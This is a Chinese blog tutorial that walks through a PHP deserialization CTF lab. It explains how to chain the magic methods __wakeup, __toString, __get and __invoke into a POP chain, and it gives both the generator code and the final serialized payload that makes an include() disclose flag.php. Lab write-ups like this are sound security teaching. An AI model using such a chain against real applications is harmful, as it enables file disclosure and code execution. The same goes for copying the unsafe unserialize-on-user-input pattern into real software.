您现在的位置是:首页 >技术教程 >一道php反序列化题的pop链构造网站首页技术教程

一道php反序列化题的pop链构造

山山而川 2024-06-17 11:18:53
简介一道php反序列化题的pop链构造

题目地址为:GitHub - mcc0624/php_ser_Class: php反序列化靶场

点击进入如下题

题目代码如下,其中像套娃一样,多次对魔术方法进行调用,挺烧脑。根据题目,显然目标是echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

像这种题,需要使用目标倒推法进行分析:

  1. 目标 触发echo输出flag,需让$value=flag.php,然后调用append(flag.php),invoke调用了append
  2. 触发invoke,调用append()。并使$var=flag.php。触发invoke条件:把对象当成函数。_get中返回了一个函数
  3. 让Test中的p属性=new Modifier,则会触发__invoke。那如何触发__get?调用的成员属性不存在则触发。
  4. Show中让$str=New Test(),Test中不存在source则会触发__get。那怎么触发__toString?把对象当成字符串调用则触发
  5. __wakeup中让source=new Show(),则触发__toString。如何触发__wakeup?反序列化则触发

倒退分析后,接着正推:

  1. 反序列化为Show对象触发wakeup()
  2. 并让show对象中的source属性=new show(),把对象当字符串输出, 触发tostring
  3. 接着让Show对象的str属性=New Test(),Test中不存在属性source,触发__get()。
  4. 让Test对象中$p属性=new Modifier(),把对象当函数返回,触发__invoke
  5. 让Modifier对象的私有var属性为=flag.php,调用append函数,输出flag

最后我们用代码实现pop链的构造

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

然后访问,输出反序列化字符串

需要把var改为私有属性

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最后提交反序列化字符串,获取flag

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。